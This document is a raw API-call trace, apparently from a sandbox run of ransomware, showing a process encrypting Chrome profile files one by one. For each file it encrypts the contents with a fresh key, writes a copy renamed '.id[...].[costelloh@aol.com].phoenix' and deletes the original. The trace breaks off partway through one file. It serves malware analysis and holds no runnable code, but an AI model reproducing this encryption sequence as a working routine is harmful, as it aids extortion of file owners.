	[0254.262] WriteFile (in: hFile=0x2d8, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0254.262] CryptDestroyKey (hKey=0x151380) returned 1
	[0254.262] CloseHandle (hObject=0x2f4) returned 1
	[0254.262] CloseHandle (hObject=0x2d8) returned 1
	[0254.263] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\000003.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extension rules\\000003.log")) returned 1
	[0254.420] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0254.420] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\000003.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extension state\\000003.log"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0254.423] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=1197) returned 1
	[0254.423] CloseHandle (hObject=0x2d8) returned 1
	[0254.423] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\000003.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extension state\\000003.log")) returned 0x20
	[0254.423] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\000003.log.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extension state\\000003.log.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0254.423] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\000003.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extension state\\000003.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0254.423] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0254.423] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0254.423] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\000003.log.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extension state\\000003.log.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0254.424] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151100) returned 1
	[0254.424] CryptSetKeyParam (hKey=0x151100, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0254.424] ReadFile (in: hFile=0x2d8, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x4ad, lpOverlapped=0x0) returned 1
	[0254.428] CryptEncrypt (in: hKey=0x151100, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x4b0, dwBufLen=0x4b0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x4b0) returned 1
	[0254.428] WriteFile (in: hFile=0x2f4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x4b0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x4b0, lpOverlapped=0x0) returned 1
	[0254.429] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x1515c0) returned 1
	[0254.429] CryptSetKeyParam (hKey=0x1515c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0254.429] CryptEncrypt (in: hKey=0x1515c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0254.429] CryptDestroyKey (hKey=0x1515c0) returned 1
	[0254.429] WriteFile (in: hFile=0x2f4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0254.430] CryptDestroyKey (hKey=0x151100) returned 1
	[0254.430] CloseHandle (hObject=0x2d8) returned 1
	[0254.430] CloseHandle (hObject=0x2f4) returned 1
	[0254.430] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\000003.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extension state\\000003.log")) returned 1
	[0254.517] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0254.517] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_128.png" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_128.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0254.520] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=3372) returned 1
	[0254.520] CloseHandle (hObject=0x2d0) returned 1
	[0254.520] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_128.png" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_128.png")) returned 0x20
	[0254.520] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_128.png.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_128.png.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0254.521] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_128.png" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_128.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0254.521] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0254.521] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0254.521] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_128.png.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_128.png.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0254.524] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151600) returned 1
	[0254.524] CryptSetKeyParam (hKey=0x151600, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0254.524] ReadFile (in: hFile=0x300, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0xd2c, lpOverlapped=0x0) returned 1
	[0254.570] CryptEncrypt (in: hKey=0x151600, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xd30, dwBufLen=0xd30 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xd30) returned 1
	[0254.570] WriteFile (in: hFile=0x2b4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xd30, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xd30, lpOverlapped=0x0) returned 1
	[0254.571] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151740) returned 1
	[0254.571] CryptSetKeyParam (hKey=0x151740, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0254.571] CryptEncrypt (in: hKey=0x151740, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0254.571] CryptDestroyKey (hKey=0x151740) returned 1
	[0254.571] WriteFile (in: hFile=0x2b4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0254.571] CryptDestroyKey (hKey=0x151600) returned 1
	[0254.571] CloseHandle (hObject=0x300) returned 1
	[0254.571] CloseHandle (hObject=0x2b4) returned 1
	[0254.571] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_128.png" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_128.png")) returned 1
	[0254.572] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0254.572] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0254.572] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=272) returned 1
	[0254.572] CloseHandle (hObject=0x2b4) returned 1
	[0254.573] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\messages.json")) returned 0x20
	[0254.573] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0254.573] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0254.573] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0254.573] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0254.573] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0254.573] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151100) returned 1
	[0254.573] CryptSetKeyParam (hKey=0x151100, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0254.573] ReadFile (in: hFile=0x2b4, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x110, lpOverlapped=0x0) returned 1
	[0254.575] CryptEncrypt (in: hKey=0x151100, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x120, dwBufLen=0x120 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x120) returned 1
	[0254.575] WriteFile (in: hFile=0x300, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x120, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x120, lpOverlapped=0x0) returned 1
	[0254.575] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x1517c0) returned 1
	[0254.576] CryptSetKeyParam (hKey=0x1517c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0254.576] CryptEncrypt (in: hKey=0x1517c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0254.576] CryptDestroyKey (hKey=0x1517c0) returned 1
	[0254.576] WriteFile (in: hFile=0x300, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0254.586] CryptDestroyKey (hKey=0x151100) returned 1
	[0254.586] CloseHandle (hObject=0x2b4) returned 1
	[0254.586] CloseHandle (hObject=0x300) returned 1
	[0254.586] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\messages.json")) returned 1
	[0254.587] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0254.587] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0254.588] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=224) returned 1
	[0254.588] CloseHandle (hObject=0x300) returned 1
	[0254.588] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da\\messages.json")) returned 0x20
	[0254.588] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0254.588] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0254.588] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0254.588] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0254.588] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0254.589] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151380) returned 1
	[0254.589] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0254.589] ReadFile (in: hFile=0x300, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0xe0, lpOverlapped=0x0) returned 1
	[0254.590] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xf0, dwBufLen=0xf0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xf0) returned 1
	[0254.590] WriteFile (in: hFile=0x2b4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf0, lpOverlapped=0x0) returned 1
	[0254.591] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151080) returned 1
	[0254.591] CryptSetKeyParam (hKey=0x151080, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0254.591] CryptEncrypt (in: hKey=0x151080, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0254.591] CryptDestroyKey (hKey=0x151080) returned 1
	[0254.591] WriteFile (in: hFile=0x2b4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0254.591] CryptDestroyKey (hKey=0x151380) returned 1
	[0254.591] CloseHandle (hObject=0x300) returned 1
	[0254.591] CloseHandle (hObject=0x2b4) returned 1
	[0254.592] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da\\messages.json")) returned 1
	[0254.592] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0254.592] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0254.593] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=234) returned 1
	[0254.593] CloseHandle (hObject=0x2b4) returned 1
	[0254.593] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de\\messages.json")) returned 0x20
	[0254.593] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0254.593] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0254.593] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0254.593] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0254.593] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
